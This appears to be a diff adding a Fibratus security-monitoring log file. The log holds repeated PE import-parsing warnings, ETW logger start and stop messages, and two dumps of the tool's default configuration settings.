+time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:11:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:11:29+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:11:29+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:11:30+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:13:33+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:13:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:13:33+01:00 level=info msg=bootstrapping with pid 15540. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:13:33+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>true sound=>true] eventlog=>[ enabled=>true verbose=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + kstream ........................ [ enable-net=>true enable-fileio=>true enable-mem=>true min-buffers=>16 enable-vamap=>true enable-dns=>true flush-interval=>1s enable-image=>true blacklist=>[ events=>[] images=>[]] enable-handle=>false max-buffers=>36 enable-thread=>true enable-audit-api=>true enable-registry=>true stack-enrichment=>true buffer-size=>512] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 level=>info formatter=>text max-size=>100] + output ......................... [ amqp=>[ vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus durable=>false exchange-type=>topic passive=>false exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient] http=>[ enable-gzip=>false timeout=>5s enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus trace-log=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true enabled=>false index-name=>fibratus sniff=>false bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} format=>pretty]] + pe ............................. [ enabled=>false excluded-images=>[] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true alert-template=>[] excluded-files=>[] enabled=>false skip-files=>true alert-via=>mail scan-timeout=>10s] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:13:33+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:13:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:13:35+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:13:35+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:13:35+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:13:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:13:36+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:13:37+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:13:38+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:13:59+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:13:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:13:59+01:00 level=info msg=bootstrapping with pid 11112. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:13:59+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>false] systray=>[ enabled=>true quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + kstream ........................ [ enable-vamap=>true enable-image=>true enable-net=>true enable-thread=>true enable-audit-api=>true enable-fileio=>true enable-dns=>true buffer-size=>512 stack-enrichment=>true enable-handle=>false flush-interval=>1s enable-mem=>true min-buffers=>16 enable-registry=>true blacklist=>[ images=>[] events=>[]] max-buffers=>36] + logging ........................ [ max-age=>0 max-size=>100 level=>info log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 passive=>false exchange-type=>topic exchange=>fibratus durable=>false tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient vhost=>/] http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s enabled=>false] elasticsearch=>[ template-name=>fibratus flush-period=>1s trace-log=>false gzip-compression=>false sniff=>false timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s enabled=>false] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false kparams=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ alert-via=>mail fastscan=>true excluded-procs=>[] excluded-files=>[] enabled=>false skip-files=>true alert-template=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:13:59+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:14:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:14:01+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:14:01+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:14:01+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:14:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 